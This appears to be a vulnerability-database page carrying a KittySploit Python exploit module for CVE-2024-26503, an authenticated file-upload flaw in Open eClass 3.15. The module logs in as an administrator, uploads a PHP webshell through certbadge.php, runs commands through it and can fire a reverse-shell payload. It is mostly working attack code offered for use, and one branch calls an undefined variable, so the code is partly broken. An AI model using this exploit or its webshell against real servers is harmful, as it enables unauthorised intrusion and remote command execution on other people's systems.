Lucene search
+L

Open eClass 3.15 - Remote Code Execution (CVE-2024-26503)

🗓️ 26 Oct 2026 17:17:59Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 11 Views

Authenticated unrestricted file upload in Open eClass /modules/admin/certbadge.php allows RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Openeclass
15 Mar 202413:01
–githubexploit
circl
Circl
CVE-2024-26503
14 Mar 202423:21
–circl
cnnvd
CNNVD
Open eClass Platform Security Vulnerability
14 Mar 202400:00
–cnnvd
cve
CVE
CVE-2024-26503
14 Mar 202400:00
–cve
cvelist
Cvelist
CVE-2024-26503
14 Mar 202400:00
–cvelist
exploitdb
Exploit DB
Open eClass 3.15 - RCE
21 Oct 202600:00
–exploitdb
kitploit
Kitploit
Exploit-CVE-2024-26503
27 Oct 202613:19
–kitploit
kittysploit
KittySploit
Open eClass RCE (CVE-2024-26503) Detection
26 Oct 202617:17
–kittysploit
nvd
NVD
CVE-2024-26503
14 Mar 202422:15
–nvd
packetstorm
Packet Storm
Open eClass 3.15 Shell Upload
22 Oct 202600:00
–packetstorm
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Open eClass CVE-2024-26503 authenticated certbadge icon upload RCE."""
from __future__ import annotations
import re
from io import BytesIO
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Open eClass 3.15 - Remote Code Execution (CVE-2024-26503)', 'description': 'CVE-2024-26503: authenticated unrestricted file upload in /modules/admin/certbadge.php stores a PHP webshell under /courses/user_progress_data/badge_templates/.', 'author': ['KittySploit Team', 'Georgios Roumeliotis (PoC)'], 'cve': ['CVE-2024-26503'], 'platform': Platform.PHP, 'arch': [Arch.PHP, Arch.CMD], 'category': 'singles', 'payload': {'default': 'payloads/singles/cmd/php/reverse_tcp', 'arch': Arch.PHP, 'platform': Platform.PHP, 'category': 'singles'}, 'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-26503', 'https://www.less-secure.com/2024/03/open-eclass-cve-2024-26503-unrestricted.html', 'https://github.com/RoboGR00t/Exploit-CVE-2024-26503'], 'tags': ['openeclass', 'eclass', 'upload', 'authenticated', 'rce', 'cve-2024-26503'], 'agent': {'risk': 'intrusive', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 5, 'reversible': False, 'approval_required': True, 'produces': ['webshell', 'rce', 'shell'], 'requires': {'tech_hints_any': ['openeclass', 'open eclass']}, 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}], 'suggested_followups': ['scanner/http/openeclass_rce_cve_2024_26503']}}}
    _BADGE_SHELL_DIR = '/courses/user_progress_data/badge_templates'
    username = OptString('', 'Open eClass username (admin)', required=True)
    password = OptString('', 'Open eClass password', required=True)
    shell_name = OptString('', 'Webshell filename (random if empty)', required=False)
    cleanup = OptBool(False, 'Remove uploaded webshell after run (disables follow-up execute on this session)', required=False)

    def _login_form_path(self) -> str:
        return '/main/login_form.php?next=%2Fmain%2Fportfolio.php'

    def _login(self) -> None:
        login_form = self._login_form_path()
        self.http_request('GET', login_form, allow_redirects=True)
        response = self.http_request('POST', '/?login_page=1', headers={'Referer': login_form}, data={'next': '/main/portfolio.php', 'uname': str(self.username or ''), 'pass': str(self.password or ''), 'submit': 'Enter'}, allow_redirects=True)
        body = (response.text or '').lower() if response else ''
        if 'login_form' in body and 'uname' in body and ('pass' in body):
            raise RuntimeError('Open eClass login failed')
        admin_page = self.http_request('GET', '/modules/admin/certbadge.php', allow_redirects=True)
        if not admin_page or admin_page.status_code >= 400:
            raise RuntimeError('Cannot access certbadge admin page (admin credentials required?)')
        admin_body = (admin_page.text or '').lower()
        if 'login_form' in admin_body or 'name="pass"' in admin_body:
            raise RuntimeError('Authenticated session lacks certbadge admin access')

    def _shell_filename(self) -> str:
        custom = str(self.shell_name or '').strip()
        if custom:
            return custom if custom.endswith('.php') else f'{custom}.php'
        return f'{self.random_text(8)}.php'

    def _shell_path(self, filename: str) -> str:
        return f'{self._BADGE_SHELL_DIR}/{filename}'

    def _strip_php_tags(self, payload: str) -> str:
        body = payload.strip()
        if body.lstrip().startswith('<?'):
            body = re.sub('^<\\?(?:php|=)?', '', body.lstrip(), count=1, flags=re.IGNORECASE)
            body = re.sub('\\?>\\s*$', '', body)
        return body.strip()

    def _shell_php(self) -> bytes:
        """Webshell for session execute(); optional embedded payload when ?cmd is absent."""
        payload_raw = str(getattr(self, 'payload', '') or '').strip()
        if not payload_raw:
            return b"<?php echo shell_exec($_GET['cmd']); ?>"
        embedded = self._strip_php_tags(payload_raw)
        source = f"<?php\nif (isset($_GET['cmd'])) {{\n    echo shell_exec($_GET['cmd']);\n    exit;\n}}\n{embedded}\n"
        return source.encode()

    def _upload_shell(self, filename: str) -> str:
        upload = self.http_request('POST', '/modules/admin/certbadge.php', files={'icon': (filename, BytesIO(self._shell_php()), 'text/plain'), 'name': (None, ''), 'description': (None, ''), 'submit_badge_icon': (None, '')}, allow_redirects=True)
        if not upload or upload.status_code >= 500:
            raise RuntimeError('certbadge.php upload failed')
        return self._shell_path(filename)

    def _trigger_shell(self, shell_path: str, *, cmd: str | None=None, timeout: int | None=None) -> str:
        params = {'cmd': cmd} if cmd is not None else None
        kwargs = {'params': params} if params else {}
        if timeout is not None:
            kwargs['timeout'] = timeout
        response = self.http_request('GET', shell_path, **kwargs)
        return (response.text or '').strip() if response else ''

    def _cleanup_shell(self, shell_path: str, filename: str) -> None:
        try:
            self._trigger_shell(shell_path, cmd=f'rm -f {filename}')
        except Exception:
            pass

    def execute(self, cmd: str) -> str:
        if not getattr(self, '_webshell_path', None):
            self._login()
            name = self._shell_filename()
            self._webshell_path = self._upload_shell(name)
            self._webshell_name = name
        return self._trigger_shell(self._webshell_path, cmd=cmd)

    def check(self):
        try:
            self._login()
        except RuntimeError as exc:
            return {'vulnerable': False, 'reason': str(exc), 'confidence': 'medium'}
        return {'vulnerable': True, 'reason': 'Admin login and certbadge upload endpoint reachable', 'confidence': 'high'}

    def check_execute(self) -> bool:
        token = self.random_text(10)
        output = self.execute(f'echo {token}')
        return token in output

    def run(self):
        cmd = str(self.shell_from_payload() or '').strip()
        payload_text = str(getattr(self, 'payload', '') or '').strip()
        try:
            check = self.check()
        except Exception as exc:
            print_error(f'Check failed: {exc}')
            return False
        if not check.get('vulnerable'):
            print_error(check.get('reason', 'Target not exploitable'))
            self.not_vulnerable()
            return False
        print_status('CVE-2024-26503 — Open eClass certbadge upload RCE')
        print_success(f'Authenticated as {self.username}')
        filename = self._shell_filename()
        try:
            shell_path = self._upload_shell(filename)
            self._webshell_path = shell_path
            self._webshell_name = filename
        except RuntimeError as exc:
            print_error(str(exc))
            return False
        print_success(f'Webshell uploaded: {shell_path}')
        if not self.check_execute():
            print_error('Webshell execution check failed')
            if self.cleanup:
                self._cleanup_shell(shell_path, filename)
            self.not_vulnerable()
            return False
        if cmd:
            out = self.execute(shell)
            if out:
                print_info(out[:4000])
        elif payload_text:
            print_status('Triggering embedded PHP payload (reverse handler may receive a session)...')
            try:
                self._trigger_shell(shell_path, timeout=5)
            except Exception:
                pass
        else:
            out = self.execute('id')
            if out:
                print_info(out[:4000])
        session_meta = {'webshell_path': shell_path, 'webshell_name': filename, 'protocol': 'http'}
        ok = self.handler_execute(additional_data=session_meta)
        if self.cleanup:
            self._cleanup_shell(shell_path, filename)
        return ok

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2026 13:35Current
6Medium risk
Vulners AI Score6
CVSS 3.19.1
EPSS0.02961
SSVC
11